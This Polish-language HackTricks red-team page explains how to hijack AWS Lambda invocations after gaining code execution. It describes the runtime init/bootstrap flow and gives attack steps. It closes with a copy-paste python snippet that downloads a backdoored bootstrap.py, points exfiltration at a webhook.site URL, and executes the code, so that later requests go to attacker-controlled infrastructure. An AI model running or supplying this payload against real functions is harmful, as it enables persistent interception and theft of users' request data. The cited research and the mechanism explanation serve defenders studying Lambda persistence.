AWS - Steal Lambda Requests

Nauka hakowania AWS od zera do bohatera z htARTE (HackTricks AWS Red Team Expert)!

Inne sposoby wsparcia HackTricks:

• Jeśli chcesz zobaczyć swoją firmę reklamowaną w HackTricks lub pobrać HackTricks w formacie PDF, sprawdź PLANY SUBSKRYPCYJNE!

• Zdobądź oficjalne gadżety PEASS & HackTricks

• Odkryj Rodzinę PEASS, naszą kolekcję ekskluzywnych NFT

• Dołącz do 💬 grupy Discord lub grupy telegramowej lub śledź nas na Twitterze 🐦 @hacktricks_live.

• Podziel się swoimi sztuczkami hakerskimi, przesyłając PR-y do HackTricks i HackTricks Cloud na GitHubie.

Przepływ Lambda

https://unit42.paloaltonetworks.com/wp-content/uploads/2019/10/lambda_poc_2_arch.png

1. Slicer to proces poza kontenerem, który wysyła wywołania do procesu init.

2. Proces init nasłuchuje na porcie 9001, ujawniając kilka interesujących punktów końcowych:

• /2018-06-01/runtime/invocation/next – pobierz następne zdarzenie wywołania

• /2018-06-01/runtime/invocation/{invoke-id}/response – zwróć odpowiedź obsługiwarza dla wywołania

• /2018-06-01/runtime/invocation/{invoke-id}/error – zwróć błąd wykonania

3. bootstrap.py ma pętlę pobierającą wywołania od procesu init i wywołuje kod użytkownika do ich obsługi (/next).

4. W końcu bootstrap.py wysyła do init odpowiedź.

Zauważ, że bootstrap ładuje kod użytkownika jako moduł, więc wszelkie wykonanie kodu wykonywane przez kod użytkownika faktycznie dzieje się w tym procesie.

Kradzież żądań Lambda

Celem tego ataku jest spowodowanie wykonania przez kod użytkownika złośliwego procesu bootstrap.py wewnątrz procesu bootstrap.py, który obsługuje podatne żądanie. W ten sposób złośliwy proces bootstrap rozpocznie komunikację z procesem init w celu obsługi żądań, podczas gdy uczciwy bootstrap jest uwięziony uruchamiając złośliwy, więc nie będzie prosił o żądania do procesu init.

Jest to proste zadanie do osiągnięcia, ponieważ kod użytkownika jest wykonywany przez uczciwy proces bootstrap.py. W związku z tym atakujący mógłby:

• Wysłać fałszywy wynik bieżącego wywołania do procesu init, aby init myślał, że proces bootstrap czeka na więcej wywołań.

• Żądanie musi zostać wysłane do /${invoke-id}/response

• Identyfikator wywołania można uzyskać z stosu uczciwego bootstrap.py procesu, korzystając z modułu pythona inspect (jak zaproponowano tutaj) lub po prostu ponownie żądając go do /2018-06-01/runtime/invocation/next (jak zaproponowano tutaj).

• Wykonaj złośliwy boostrap.py, który będzie obsługiwał kolejne wywołania

• W celu zachowania dyskrecji można przesłać parametry wywołań lambda do kontrolowanego przez atakującego C2, a następnie obsłużyć żądania jak zwykle.

• Dla tego ataku wystarczy uzyskać oryginalny kod bootstrap.py z systemu lub githuba, dodać złośliwy kod i uruchomić go z bieżącego wywołania lambdy.

Kroki ataku

1. Znajdź podatność na RCE.

2. Wygeneruj złośliwy bootstrap (np. https://raw.githubusercontent.com/carlospolop/lambda_bootstrap_switcher/main/backdoored_bootstrap.py)

3. Wykonaj złośliwy bootstrap.

Możesz łatwo wykonać te czynności, uruchamiając:

python3 <<EOF
import os
import urllib3

# Download backdoored bootstrap
http = urllib3.PoolManager()
backdoored_bootstrap_url = "https://raw.githubusercontent.com/carlospolop/lambda_bootstrap_switcher/main/backdoored_bootstrap.py"
new_runtime = http.request('GET', backdoored_bootstrap_url).data

# Load new bootstrap
os.environ['URL_EXFIL'] = "https://webhook.site/c7036f43-ce42-442f-99a6-8ab21402a7c0"

exec(new_runtime)
EOF

Dla dalszych informacji sprawdź https://github.com/carlospolop/lambda_bootstrap_switcher

Referencje

• https://unit42.paloaltonetworks.com/gaining-persistency-vulnerable-lambdas/